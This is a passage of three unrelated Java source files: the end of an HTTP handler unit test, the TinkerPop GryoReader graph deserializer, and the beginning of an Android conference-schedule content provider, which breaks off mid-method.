FlushOperation flushOperation = flushOperations.get(0);
FullHttpResponse response = responseDecoder.decode(Unpooled.wrappedBuffer(flushOperation.getBuffersToWrite()));
try {
assertEquals(HttpVersion.HTTP_1_1, response.protocolVersion());
assertEquals(HttpResponseStatus.REQUEST_ENTITY_TOO_LARGE, response.status());
flushOperation.getListener().accept(null, null);
// Since we have keep-alive set to false, we should close the channel after the response has been
// flushed
verify(channel).close();
} finally {
response.release();
}
}
@SuppressWarnings("unchecked")
public void testEncodeHttpResponse() throws IOException {
prepareHandlerForResponse(handler);
HttpPipelinedResponse httpResponse = emptyGetResponse(0);
SocketChannelContext context = mock(SocketChannelContext.class);
HttpWriteOperation writeOperation = new HttpWriteOperation(context, httpResponse, mock(BiConsumer.class));
List<FlushOperation> flushOperations = handler.writeToBytes(writeOperation);
FlushOperation operation = flushOperations.get(0);
FullHttpResponse response = responseDecoder.decode(Unpooled.wrappedBuffer(operation.getBuffersToWrite()));
((ChannelPromise) operation.getListener()).setSuccess();
try {
assertEquals(HttpResponseStatus.OK, response.status());
assertEquals(HttpVersion.HTTP_1_1, response.protocolVersion());
} finally {
response.release();
}
}
@SuppressWarnings("unchecked")
public void testReadTimeout() throws IOException {
TimeValue timeValue = TimeValue.timeValueMillis(500);
Settings settings = Settings.builder().put(SETTING_HTTP_READ_TIMEOUT.getKey(), timeValue).build();
HttpHandlingSettings httpHandlingSettings = HttpHandlingSettings.fromSettings(settings);
CorsHandler corsHandler = CorsHandler.disabled();
TaskScheduler taskScheduler = new TaskScheduler();
Iterator<Integer> timeValues = Arrays.asList(0, 2, 4, 6, 8).iterator();
handler = new HttpReadWriteHandler(channel, transport, httpHandlingSettings, taskScheduler, timeValues::next);
handler.channelActive();
prepareHandlerForResponse(handler);
SocketChannelContext context = mock(SocketChannelContext.class);
HttpWriteOperation writeOperation0 = new HttpWriteOperation(context, emptyGetResponse(0), mock(BiConsumer.class));
((ChannelPromise) handler.writeToBytes(writeOperation0).get(0).getListener()).setSuccess();
taskScheduler.pollTask(timeValue.getNanos() + 1).run();
// There was a read. Do not close.
verify(transport, times(0)).onException(eq(channel), any(HttpReadTimeoutException.class));
prepareHandlerForResponse(handler);
prepareHandlerForResponse(handler);
taskScheduler.pollTask(timeValue.getNanos() + 3).run();
// There was a read. Do not close.
verify(transport, times(0)).onException(eq(channel), any(HttpReadTimeoutException.class));
HttpWriteOperation writeOperation1 = new HttpWriteOperation(context, emptyGetResponse(1), mock(BiConsumer.class));
((ChannelPromise) handler.writeToBytes(writeOperation1).get(0).getListener()).setSuccess();
taskScheduler.pollTask(timeValue.getNanos() + 5).run();
// There has not been a read, however there is still an inflight request. Do not close.
verify(transport, times(0)).onException(eq(channel), any(HttpReadTimeoutException.class));
HttpWriteOperation writeOperation2 = new HttpWriteOperation(context, emptyGetResponse(2), mock(BiConsumer.class));
((ChannelPromise) handler.writeToBytes(writeOperation2).get(0).getListener()).setSuccess();
taskScheduler.pollTask(timeValue.getNanos() + 7).run();
// No reads and no inflight requests, close
verify(transport, times(1)).onException(eq(channel), any(HttpReadTimeoutException.class));
assertNull(taskScheduler.pollTask(timeValue.getNanos() + 9));
}
private static HttpPipelinedResponse emptyGetResponse(int sequence) {
DefaultFullHttpRequest nettyRequest = new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, "/");
HttpPipelinedRequest httpRequest = new HttpPipelinedRequest(sequence, new NioHttpRequest(nettyRequest));
HttpPipelinedResponse httpResponse = httpRequest.createResponse(RestStatus.OK, BytesArray.EMPTY);
httpResponse.addHeader(HttpHeaderNames.CONTENT_LENGTH.toString(), "0");
return httpResponse;
}
private void prepareHandlerForResponse(HttpReadWriteHandler handler) throws IOException {
HttpMethod method = randomBoolean() ? HttpMethod.GET : HttpMethod.HEAD;
HttpVersion version = randomBoolean() ? HttpVersion.HTTP_1_0 : HttpVersion.HTTP_1_1;
String uri = "http://localhost:9090/" + randomAlphaOfLength(8);
io.netty.handler.codec.http.HttpRequest request = new DefaultFullHttpRequest(version, method, uri);
ByteBuf buf = requestEncoder.encode(request);
try {
handler.consumeReads(toChannelBuffer(buf));
} finally {
buf.release();
}
ArgumentCaptor<HttpPipelinedRequest> requestCaptor = ArgumentCaptor.forClass(HttpPipelinedRequest.class);
verify(transport, atLeastOnce()).incomingRequest(requestCaptor.capture(), any(HttpChannel.class));
HttpRequest httpRequest = requestCaptor.getValue();
assertNotNull(httpRequest);
assertEquals(method.name(), httpRequest.method().name());
if (version == HttpVersion.HTTP_1_1) {
assertEquals(HttpRequest.HttpVersion.HTTP_1_1, httpRequest.protocolVersion());
} else {
assertEquals(HttpRequest.HttpVersion.HTTP_1_0, httpRequest.protocolVersion());
}
assertEquals(httpRequest.uri(), uri);
}
private InboundChannelBuffer toChannelBuffer(ByteBuf buf) {
InboundChannelBuffer buffer = InboundChannelBuffer.allocatingInstance();
int readableBytes = buf.readableBytes();
buffer.ensureCapacity(readableBytes);
int bytesWritten = 0;
ByteBuffer[] byteBuffers = buffer.sliceBuffersTo(readableBytes);
int i = 0;
while (bytesWritten != readableBytes) {
ByteBuffer byteBuffer = byteBuffers[i++];
int initialRemaining = byteBuffer.remaining();
buf.readBytes(byteBuffer);
bytesWritten += initialRemaining - byteBuffer.remaining();
}
buffer.incrementIndex(bytesWritten);
return buffer;
}
private static final int MAX = 16 * 1024 * 1024;
private static class RequestEncoder {
private final EmbeddedChannel requestEncoder = new EmbeddedChannel(new HttpRequestEncoder(), new HttpObjectAggregator(MAX));
private ByteBuf encode(io.netty.handler.codec.http.HttpRequest httpRequest) {
requestEncoder.writeOutbound(httpRequest);
return requestEncoder.readOutbound();
}
}
private static class ResponseDecoder {
private final EmbeddedChannel responseDecoder = new EmbeddedChannel(new HttpResponseDecoder(), new HttpObjectAggregator(MAX));
private FullHttpResponse decode(ByteBuf response) {
responseDecoder.writeInbound(response);
return responseDecoder.readInbound();
}
}
}
| |
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.tinkerpop.gremlin.structure.io.gryo;
import org.apache.tinkerpop.gremlin.process.computer.GraphFilter;
import org.apache.tinkerpop.gremlin.structure.Direction;
import org.apache.tinkerpop.gremlin.structure.Edge;
import org.apache.tinkerpop.gremlin.structure.Graph;
import org.apache.tinkerpop.gremlin.structure.Property;
import org.apache.tinkerpop.gremlin.structure.T;
import org.apache.tinkerpop.gremlin.structure.Vertex;
import org.apache.tinkerpop.gremlin.structure.VertexProperty;
import org.apache.tinkerpop.gremlin.structure.io.GraphReader;
import org.apache.tinkerpop.gremlin.structure.io.GraphWriter;
import org.apache.tinkerpop.gremlin.structure.io.Mapper;
import org.apache.tinkerpop.gremlin.structure.util.Attachable;
import org.apache.tinkerpop.gremlin.structure.util.Host;
import org.apache.tinkerpop.gremlin.structure.util.detached.DetachedEdge;
import org.apache.tinkerpop.gremlin.structure.util.detached.DetachedProperty;
import org.apache.tinkerpop.gremlin.structure.util.detached.DetachedVertexProperty;
import org.apache.tinkerpop.gremlin.structure.util.star.StarGraph;
import org.apache.tinkerpop.gremlin.structure.util.star.StarGraphGryoSerializer;
import org.apache.tinkerpop.gremlin.util.iterator.IteratorUtils;
import org.apache.tinkerpop.shaded.kryo.Kryo;
import org.apache.tinkerpop.shaded.kryo.io.Input;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.util.Optional;
import java.util.concurrent.atomic.AtomicLong;
import java.util.function.Function;
/**
* The {@link GraphReader} for the Gremlin Structure serialization format based on Kryo. The format is meant to be
* non-lossy in terms of Gremlin Structure to Gremlin Structure migrations (assuming both structure implementations
* support the same graph features).
* <p/>
* This implementation is not thread-safe. Have one {@code GryoReader} instance per thread.
*
* @author Stephen Mallette (http://stephen.genoprime.com)
* @author Marko A. Rodriguez (http://markorodriguez.com)
*/
public final class GryoReader implements GraphReader {
private final Kryo kryo;
private final Map<GraphFilter, StarGraphGryoSerializer> graphFilterCache = new HashMap<>();
private final long batchSize;
private GryoReader(final long batchSize, final Mapper<Kryo> gryoMapper) {
this.kryo = gryoMapper.createMapper();
this.batchSize = batchSize;
}
/**
* Read data into a {@link Graph} from output generated by any of the {@link GryoWriter} {@code writeVertex} or
* {@code writeVertices} methods or by {@link GryoWriter#writeGraph(OutputStream, Graph)}.
*
* @param inputStream a stream containing an entire graph of vertices and edges as defined by the accompanying
* {@link GraphWriter#writeGraph(OutputStream, Graph)}.
* @param graphToWriteTo the graph to write to when reading from the stream.
* @throws IOException
*/
@Override
public void readGraph(final InputStream inputStream, final Graph graphToWriteTo) throws IOException {
// dual pass - create all vertices and store to cache the ids. then create edges. as long as we don't
// have vertex labels in the output we can't do this single pass
final Map<StarGraph.StarVertex, Vertex> cache = new HashMap<>();
final AtomicLong counter = new AtomicLong(0);
final Graph.Features.EdgeFeatures edgeFeatures = graphToWriteTo.features().edge();
final boolean supportsTx = graphToWriteTo.features().graph().supportsTransactions();
IteratorUtils.iterate(new VertexInputIterator(new Input(inputStream), attachable -> {
final Vertex v = cache.put((StarGraph.StarVertex) attachable.get(), attachable.attach(Attachable.Method.create(graphToWriteTo)));
if (supportsTx && counter.incrementAndGet() % batchSize == 0)
graphToWriteTo.tx().commit();
return v;
}, null, null));
cache.entrySet().forEach(kv -> kv.getKey().edges(Direction.IN).forEachRemaining(e -> {
// can't use a standard Attachable attach method here because we have to use the cache for those
// graphs that don't support userSuppliedIds on edges. note that outVertex/inVertex methods return
// StarAdjacentVertex whose equality should match StarVertex.
final Vertex cachedOutV = cache.get(e.outVertex());
final Vertex cachedInV = cache.get(e.inVertex());
final Edge newEdge = edgeFeatures.willAllowId(e.id()) ? cachedOutV.addEdge(e.label(), cachedInV, T.id, e.id()) : cachedOutV.addEdge(e.label(), cachedInV);
e.properties().forEachRemaining(p -> newEdge.property(p.key(), p.value()));
if (supportsTx && counter.incrementAndGet() % batchSize == 0)
graphToWriteTo.tx().commit();
}));
if (supportsTx) graphToWriteTo.tx().commit();
}
@Override
public Optional<Vertex> readVertex(final InputStream inputStream, final GraphFilter graphFilter) throws IOException {
StarGraphGryoSerializer serializer = this.graphFilterCache.get(graphFilter);
if (null == serializer) {
serializer = StarGraphGryoSerializer.withGraphFilter(graphFilter);
this.graphFilterCache.put(graphFilter, serializer);
}
final Input input = new Input(inputStream);
this.readHeader(input);
final StarGraph starGraph = this.kryo.readObject(input, StarGraph.class, serializer);
// read the terminator
this.kryo.readClassAndObject(input);
return Optional.ofNullable(starGraph == null ? null : starGraph.getStarVertex());
}
/**
* Read {@link Vertex} objects from output generated by any of the {@link GryoWriter} {@code writeVertex} or
* {@code writeVertices} methods or by {@link GryoWriter#writeGraph(OutputStream, Graph)}.
*
* @param inputStream a stream containing at least one {@link Vertex} as defined by the accompanying
* {@link GraphWriter#writeVertices(OutputStream, Iterator, Direction)} or
* {@link GraphWriter#writeVertices(OutputStream, Iterator)} methods.
* @param vertexAttachMethod a function that creates re-attaches a {@link Vertex} to a {@link Host} object.
* @param edgeAttachMethod a function that creates re-attaches a {@link Edge} to a {@link Host} object.
* @param attachEdgesOfThisDirection only edges of this direction are passed to the {@code edgeMaker}.
*/
@Override
public Iterator<Vertex> readVertices(final InputStream inputStream,
final Function<Attachable<Vertex>, Vertex> vertexAttachMethod,
final Function<Attachable<Edge>, Edge> edgeAttachMethod,
final Direction attachEdgesOfThisDirection) throws IOException {
return new VertexInputIterator(new Input(inputStream), vertexAttachMethod, attachEdgesOfThisDirection, edgeAttachMethod);
}
/**
* Read a {@link Vertex} from output generated by any of the {@link GryoWriter} {@code writeVertex} or
* {@code writeVertices} methods or by {@link GryoWriter#writeGraph(OutputStream, Graph)}.
*
* @param inputStream a stream containing at least a single vertex as defined by the accompanying
* {@link GraphWriter#writeVertex(OutputStream, Vertex)}.
* @param vertexAttachMethod a function that creates re-attaches a {@link Vertex} to a {@link Host} object.
*/
@Override
public Vertex readVertex(final InputStream inputStream, final Function<Attachable<Vertex>, Vertex> vertexAttachMethod) throws IOException {
return readVertex(inputStream, vertexAttachMethod, null, null);
}
/**
* Read a {@link Vertex} from output generated by any of the {@link GryoWriter} {@code writeVertex} or
* {@code writeVertices} methods or by {@link GryoWriter#writeGraph(OutputStream, Graph)}.
*
* @param inputStream a stream containing at least one {@link Vertex} as defined by the accompanying
* {@link GraphWriter#writeVertices(OutputStream, Iterator, Direction)} method.
* @param vertexAttachMethod a function that creates re-attaches a {@link Vertex} to a {@link Host} object.
* @param edgeAttachMethod a function that creates re-attaches a {@link Edge} to a {@link Host} object.
* @param attachEdgesOfThisDirection only edges of this direction are passed to the {@code edgeMaker}.
*/
@Override
public Vertex readVertex(final InputStream inputStream,
final Function<Attachable<Vertex>, Vertex> vertexAttachMethod,
final Function<Attachable<Edge>, Edge> edgeAttachMethod,
final Direction attachEdgesOfThisDirection) throws IOException {
final Input input = new Input(inputStream);
return readVertexInternal(vertexAttachMethod, edgeAttachMethod, attachEdgesOfThisDirection, input);
}
/**
* Read an {@link Edge} from output generated by {@link GryoWriter#writeEdge(OutputStream, Edge)} or via
* an {@link Edge} passed to {@link GryoWriter#writeObject(OutputStream, Object)}.
*
* @param inputStream a stream containing at least one {@link Edge} as defined by the accompanying
* {@link GraphWriter#writeEdge(OutputStream, Edge)} method.
* @param edgeAttachMethod a function that creates re-attaches a {@link Edge} to a {@link Host} object.
*/
@Override
public Edge readEdge(final InputStream inputStream, final Function<Attachable<Edge>, Edge> edgeAttachMethod) throws IOException {
final Input input = new Input(inputStream);
readHeader(input);
final Attachable<Edge> attachable = kryo.readObject(input, DetachedEdge.class);
return edgeAttachMethod.apply(attachable);
}
/**
* Read a {@link VertexProperty} from output generated by
* {@link GryoWriter#writeVertexProperty(OutputStream, VertexProperty)} or via an {@link VertexProperty} passed
* to {@link GryoWriter#writeObject(OutputStream, Object)}.
*
* @param inputStream a stream containing at least one {@link VertexProperty} as written by the accompanying
* {@link GraphWriter#writeVertexProperty(OutputStream, VertexProperty)} method.
* @param vertexPropertyAttachMethod a function that creates re-attaches a {@link VertexProperty} to a
* {@link Host} object.
*/
@Override
public VertexProperty readVertexProperty(final InputStream inputStream,
final Function<Attachable<VertexProperty>, VertexProperty> vertexPropertyAttachMethod) throws IOException {
final Input input = new Input(inputStream);
readHeader(input);
final Attachable<VertexProperty> attachable = kryo.readObject(input, DetachedVertexProperty.class);
return vertexPropertyAttachMethod.apply(attachable);
}
/**
* Read a {@link Property} from output generated by {@link GryoWriter#writeProperty(OutputStream, Property)} or
* via an {@link Property} passed to {@link GryoWriter#writeObject(OutputStream, Object)}.
*
* @param inputStream a stream containing at least one {@link Property} as written by the accompanying
* {@link GraphWriter#writeProperty(OutputStream, Property)} method.
* @param propertyAttachMethod a function that creates re-attaches a {@link Property} to a {@link Host} object.
*/
@Override
public Property readProperty(final InputStream inputStream,
final Function<Attachable<Property>, Property> propertyAttachMethod) throws IOException {
final Input input = new Input(inputStream);
readHeader(input);
final Attachable<Property> attachable = kryo.readObject(input, DetachedProperty.class);
return propertyAttachMethod.apply(attachable);
}
/**
* {@inheritDoc}
*/
@Override
public <C> C readObject(final InputStream inputStream, final Class<? extends C> clazz) throws IOException {
return clazz.cast(this.kryo.readClassAndObject(new Input(inputStream)));
}
private Vertex readVertexInternal(final Function<Attachable<Vertex>, Vertex> vertexMaker,
final Function<Attachable<Edge>, Edge> edgeMaker,
final Direction d,
final Input input) throws IOException {
readHeader(input);
final StarGraph starGraph = kryo.readObject(input, StarGraph.class);
// read the terminator
kryo.readClassAndObject(input);
final Vertex v = vertexMaker.apply(starGraph.getStarVertex());
if (edgeMaker != null)
starGraph.getStarVertex().edges(d).forEachRemaining(e -> edgeMaker.apply((Attachable<Edge>) e));
return v;
}
private void readHeader(final Input input) throws IOException {
if (!Arrays.equals(GryoMapper.GIO, input.readBytes(3)))
throw new IOException("Invalid format - first three bytes of header do not match expected value");
// skip the next 13 bytes - for future use
input.readBytes(13);
}
public static Builder build() {
return new Builder();
}
public final static class Builder implements ReaderBuilder<GryoReader> {
private long batchSize = 10000;
/**
* Always use the most recent gryo version by default
*/
private Mapper<Kryo> gryoMapper = GryoMapper.build().create();
private Builder() {
}
/**
* Number of mutations to perform before a commit is executed when using
* {@link GryoReader#readGraph(InputStream, Graph)}.
*/
public Builder batchSize(final long batchSize) {
this.batchSize = batchSize;
return this;
}
/**
* Supply a mapper {@link GryoMapper} instance to use as the serializer for the {@code KryoWriter}.
*/
public Builder mapper(final Mapper<Kryo> gryoMapper) {
this.gryoMapper = gryoMapper;
return this;
}
public GryoReader create() {
return new GryoReader(batchSize, this.gryoMapper);
}
}
private class VertexInputIterator implements Iterator<Vertex> {
private final Input input;
private final Function<Attachable<Vertex>, Vertex> vertexMaker;
private final Direction d;
private final Function<Attachable<Edge>, Edge> edgeMaker;
public VertexInputIterator(final Input input,
final Function<Attachable<Vertex>, Vertex> vertexMaker,
final Direction d,
final Function<Attachable<Edge>, Edge> edgeMaker) {
this.input = input;
this.d = d;
this.edgeMaker = edgeMaker;
this.vertexMaker = vertexMaker;
}
@Override
public boolean hasNext() {
return !input.eof();
}
@Override
public Vertex next() {
try {
return readVertexInternal(vertexMaker, edgeMaker, d, input);
} catch (Exception ex) {
throw new RuntimeException(ex);
}
}
}
}
| |
/*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.infine.android.devoxx.provider;
import java.io.FileNotFoundException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import android.app.Activity;
import android.app.SearchManager;
import android.content.ContentProvider;
import android.content.ContentProviderOperation;
import android.content.ContentProviderResult;
import android.content.ContentValues;
import android.content.Context;
import android.content.OperationApplicationException;
import android.content.UriMatcher;
import android.database.Cursor;
import android.database.sqlite.SQLiteDatabase;
import android.net.Uri;
import android.os.ParcelFileDescriptor;
import android.provider.BaseColumns;
import android.util.Log;
import com.infine.android.devoxx.provider.ScheduleContract.Blocks;
import com.infine.android.devoxx.provider.ScheduleContract.Rooms;
import com.infine.android.devoxx.provider.ScheduleContract.SearchSuggest;
import com.infine.android.devoxx.provider.ScheduleContract.Sessions;
import com.infine.android.devoxx.provider.ScheduleContract.Speakers;
import com.infine.android.devoxx.provider.ScheduleContract.Tracks;
import com.infine.android.devoxx.provider.ScheduleContract.Tweets;
import com.infine.android.devoxx.provider.ScheduleDatabase.SessionsSearchColumns;
import com.infine.android.devoxx.provider.ScheduleDatabase.SessionsSpeakers;
import com.infine.android.devoxx.provider.ScheduleDatabase.Tables;
import com.infine.android.devoxx.util.SelectionBuilder;
/**
* Provider that stores {@link ScheduleContract} data. Data is usually inserted
* by {@link SyncService}, and queried by various {@link Activity} instances.
*/
public class ScheduleProvider extends ContentProvider {
private static final String TAG = "ScheduleProvider";
private static final boolean LOGV = Log.isLoggable(TAG, Log.VERBOSE);
private ScheduleDatabase mOpenHelper;
private static final UriMatcher sUriMatcher = buildUriMatcher();
private static final int BLOCKS = 100;
private static final int BLOCKS_BETWEEN = 101;
private static final int BLOCKS_ID = 102;
private static final int BLOCKS_ID_SESSIONS = 103;
private static final int ROOMS = 300;
private static final int ROOMS_ID = 301;
private static final int ROOMS_ID_SESSIONS = 302;
private static final int SESSIONS = 400;
private static final int SESSIONS_STARRED = 401;
private static final int SESSIONS_SEARCH = 402;
private static final int SESSIONS_AT = 403;
private static final int SESSIONS_ID = 404;
private static final int SPEAKERS = 500;
private static final int SPEAKERS_ID = 501;
private static final int SPEAKERS_SEARCH = 503;
private static final int SEARCH_SUGGEST = 800;
private static final int TWEETS = 900;
/**
* Build and return a {@link UriMatcher} that catches all {@link Uri}
* variations supported by this {@link ContentProvider}.
*/
private static UriMatcher buildUriMatcher() {
final UriMatcher matcher = new UriMatcher(UriMatcher.NO_MATCH);
final String authority = ScheduleContract.CONTENT_AUTHORITY;
matcher.addURI(authority, "blocks", BLOCKS);
matcher.addURI(authority, "blocks/between/*/*", BLOCKS_BETWEEN);
matcher.addURI(authority, "blocks/*", BLOCKS_ID);
matcher.addURI(authority, "blocks/*/sessions", BLOCKS_ID_SESSIONS);
matcher.addURI(authority, "tweets", TWEETS);
matcher.addURI(authority, "rooms", ROOMS);
matcher.addURI(authority, "rooms/*", ROOMS_ID);
matcher.addURI(authority, "rooms/*/sessions", ROOMS_ID_SESSIONS);
matcher.addURI(authority, "sessions", SESSIONS);
matcher.addURI(authority, "sessions/starred", SESSIONS_STARRED);
matcher.addURI(authority, "sessions/search/*", SESSIONS_SEARCH);
matcher.addURI(authority, "sessions/at/*", SESSIONS_AT);
matcher.addURI(authority, "sessions/*", SESSIONS_ID);
matcher.addURI(authority, "speakers", SPEAKERS);
matcher.addURI(authority, "speakers/search/*", SPEAKERS_SEARCH);
matcher.addURI(authority, "speakers/*", SPEAKERS_ID);
matcher.addURI(authority, "search_suggest_query", SEARCH_SUGGEST);
return matcher;
}
@Override
public boolean onCreate() {
final Context context = getContext();
mOpenHelper = new ScheduleDatabase(context);
return true;
}
/** {@inheritDoc} */
@Override
public String getType(Uri uri) {
final int match = sUriMatcher.match(uri);
switch (match) {
case BLOCKS:
return Blocks.CONTENT_TYPE;
case BLOCKS_BETWEEN:
return Blocks.CONTENT_TYPE;
case BLOCKS_ID:
return Blocks.CONTENT_ITEM_TYPE;
case BLOCKS_ID_SESSIONS:
return Sessions.CONTENT_TYPE;
case TWEETS:
return Tweets.CONTENT_TYPE;
case ROOMS:
return Rooms.CONTENT_TYPE;
case ROOMS_ID:
return Rooms.CONTENT_ITEM_TYPE;
case ROOMS_ID_SESSIONS:
return Sessions.CONTENT_TYPE;
case SESSIONS:
return Sessions.CONTENT_TYPE;
case SESSIONS_STARRED:
return Sessions.CONTENT_TYPE;
case SESSIONS_SEARCH:
return Sessions.CONTENT_TYPE;
case SESSIONS_AT:
return Sessions.CONTENT_TYPE;
case SESSIONS_ID:
return Sessions.CONTENT_ITEM_TYPE;
case SPEAKERS:
return Speakers.CONTENT_TYPE;
case SPEAKERS_ID:
return Speakers.CONTENT_ITEM_TYPE;
case SPEAKERS_SEARCH:
return Speakers.CONTENT_ITEM_TYPE;
default:
throw new UnsupportedOperationException("Unknown uri: " + uri);
}
}
/** {@inheritDoc} */
@Override
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
String sortOrder) {
if (LOGV) Log.v(TAG, "query(uri=" + uri + ", proj=" + Arrays.toString(projection) + ")");
final SQLiteDatabase db = mOpenHelper.getReadableDatabase();
final int match = sUriMatcher.match(uri);
switch (match) {
default: {
// Most cases are handled with simple SelectionBuilder
final SelectionBuilder builder = buildExpandedSelection(uri, match);
return builder.where(selection, selectionArgs).query(db, projection, sortOrder);
}
// case SEARCH_SUGGEST: {
// final SelectionBuilder builder = new SelectionBuilder();
//
// // Adjust incoming query to become SQL text match
// selectionArgs[0] = selectionArgs[0] + "%";
// builder.table(Tables.SEARCH_SUGGEST);
// builder.where(selection, selectionArgs);
// builder.map(SearchManager.SUGGEST_COLUMN_QUERY,
// SearchManager.SUGGEST_COLUMN_TEXT_1);
//
// projection = new String[] { BaseColumns._ID, SearchManager.SUGGEST_COLUMN_TEXT_1,
// SearchManager.SUGGEST_COLUMN_QUERY };
//
// final String limit = uri.getQueryParameter(SearchManager.SUGGEST_PARAMETER_LIMIT);
// return builder.query(db, projection, null, null, SearchSuggest.DEFAULT_SORT, limit);
// }
}
}
/** {@inheritDoc} */
@Override
public Uri insert(Uri uri, ContentValues values) {
if (LOGV) Log.v(TAG, "insert(uri=" + uri + ", values=" + values.toString() + ")");
final SQLiteDatabase db = mOpenHelper.getWritableDatabase();
final int match = sUriMatcher.match(uri);
switch (match) {
case BLOCKS: {
db.insertOrThrow(Tables.BLOCKS, null, values);
getContext().getContentResolver().notifyChange(uri, null);
return Blocks.buildBlockUri(values.getAsString(Blocks.BLOCK_ID));
}
case TWEETS: {
db.insertOrThrow(Tables.TWEETS, null, values);
getContext().getContentResolver().notifyChange(uri, null);
return Tweets.buildTweetUri(values.getAsString(Tweets.TWEET_ID));
}
case ROOMS: {
db.insertOrThrow(Tables.ROOMS, null, values);
getContext().getContentResolver().notifyChange(uri, null);
return Rooms.buildRoomUri(values.getAsString(Rooms.ROOM_ID));
}
case SESSIONS: {
db.insertOrThrow(Tables.SESSIONS, null, values);
getContext().getContentResolver().notifyChange(uri, null);
return Sessions.buildSessionUri(values.getAsString(Sessions.SESSION_ID));
}
case SPEAKERS: {
db.insertOrThrow(Tables.SPEAKERS, null, values);
getContext().getContentResolver().notifyChange(uri, null);
return Speakers.buildSpeakerUri(values.getAsString(Speakers.SPEAKER_ID));
}
default: {
throw new UnsupportedOperationException("Unknown uri: " + uri);
}
}
}
/** {@inheritDoc} */
@Override
public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
if (LOGV) Log.v(TAG, "update(uri=" + uri + ", values=" + values.toString() + ")");
final SQLiteDatabase db = mOpenHelper.getWritableDatabase();
final SelectionBuilder builder = buildSimpleSelection(uri);
int retVal = builder.where(selection, selectionArgs).update(db, values);
getContext().getContentResolver().notifyChange(uri, null);
return retVal;
}
/** {@inheritDoc} */
@Override
public int delete(Uri uri, String selection, String[] selectionArgs) {
if (LOGV) Log.v(TAG, "delete(uri=" + uri + ")");
final SQLiteDatabase db = mOpenHelper.getWritableDatabase();
final SelectionBuilder builder = buildSimpleSelection(uri);
int retVal = builder.where(selection, selectionArgs).delete(db);
getContext().getContentResolver().notifyChange(uri, null);
return retVal;
}
/**
* Apply the given set of {@link ContentProviderOperation}, executing inside
* a {@link SQLiteDatabase} transaction. All changes will be rolled back if
* any single one fails.
*/
@Override
public ContentProviderResult[] applyBatch(ArrayList<ContentProviderOperation> operations)
throws OperationApplicationException {
final SQLiteDatabase db = mOpenHelper.getWritableDatabase();
db.beginTransaction();
try {
final int numOperations = operations.size();
final ContentProviderResult[] results = new ContentProviderResult[numOperations];
for (int i = 0; i < numOperations; i++) {
results[i] = operations.get(i).apply(this, results, i);
}
db.setTransactionSuccessful();
return results;
} finally {
db.endTransaction();
}
}
/**
* Build a simple {@link SelectionBuilder} to match the requested
* {@link Uri}. This is usually enough to support {@link #insert},
* {@link #update}, and {@link #delete} operations.
*/
private SelectionBuilder buildSimpleSelection(Uri uri) {
final SelectionBuilder builder = new SelectionBuilder();
final int match = sUriMatcher.match(uri);
switch (match) {
case BLOCKS: {
return builder.table(Tables.BLOCKS);
}
case BLOCKS_ID: {
final String blockId = Blocks.getBlockId(uri);
return builder.table(Tables.BLOCKS)
.where(Blocks.BLOCK_ID + "=?", blockId);
}
case TWEETS: {
return builder.table(Tables.TWEETS);
}
case ROOMS: {
return builder.table(Tables.ROOMS);
}
case ROOMS_ID: {
final String roomId = Rooms.getRoomId(uri);
return builder.table(Tables.ROOMS)
.where(Rooms.ROOM_ID + "=?", roomId);
}
case SESSIONS: {
return builder.table(Tables.SESSIONS);
}
case SESSIONS_ID: {
final String sessionId = Sessions.getSessionId(uri);
return builder.table(Tables.SESSIONS)
.where(Sessions.SESSION_ID + "=?", sessionId);
}
case SPEAKERS: {
return builder.table(Tables.SPEAKERS);
}
case SPEAKERS_ID: {
final String speakerId = Speakers.getSpeakerId(uri);
return builder.table(Tables.SPEAKERS)
.where(Speakers.SPEAKER_ID + "=?", speakerId);
}
// case SEARCH_SUGGEST: {
// return builder.table(Tables.SEARCH_SUGGEST);
// }
default: {
throw new UnsupportedOperationException("Unknown uri: " + uri);
}
}
}
/**
* Build an advanced {@link SelectionBuilder} to match the requested
* {@link Uri}. This is usually only used by {@link #query}, since it
* performs table joins useful for {@link Cursor} data.
*/
private SelectionBuilder buildExpandedSelection(Uri uri, int match) {
final SelectionBuilder builder = new SelectionBuilder();
switch (match) {
case BLOCKS: {
return builder.table(Tables.BLOCKS);
}
case BLOCKS_BETWEEN: {
final List<String> segments = uri.getPathSegments();
final String startTime = segments.get(2);
final String endTime = segments.get(3);
return builder.table(Tables.BLOCKS)
.map(Blocks.SESSIONS_COUNT, Subquery.BLOCK_SESSIONS_COUNT)
.map(Blocks.COUNT_STARRED, Subquery.BLOCK_COUNT_STARRED)
.map(Blocks.TITLE_STARRED, Subquery.BLOCK_TITLE_STARRED)
.where(Blocks.BLOCK_START + ">=?", startTime)
.where(Blocks.BLOCK_START + "<=?", endTime);
}
case BLOCKS_ID: {
final String blockId = Blocks.getBlockId(uri);
return builder.table(Tables.BLOCKS)
.map(Blocks.SESSIONS_COUNT, Subquery.BLOCK_SESSIONS_COUNT)
.map(Blocks.CONTAINS_STARRED, Subquery.BLOCK_CONTAINS_STARRED)
.where(Blocks.BLOCK_ID + "=?", blockId);
}
case BLOCKS_ID_SESSIONS: {
final String blockId = Blocks.getBlockId(uri);
return builder.table(Tables.SESSIONS_JOIN_BLOCKS_ROOMS)
.map(Blocks.SESSIONS_COUNT, Subquery.BLOCK_SESSIONS_COUNT)
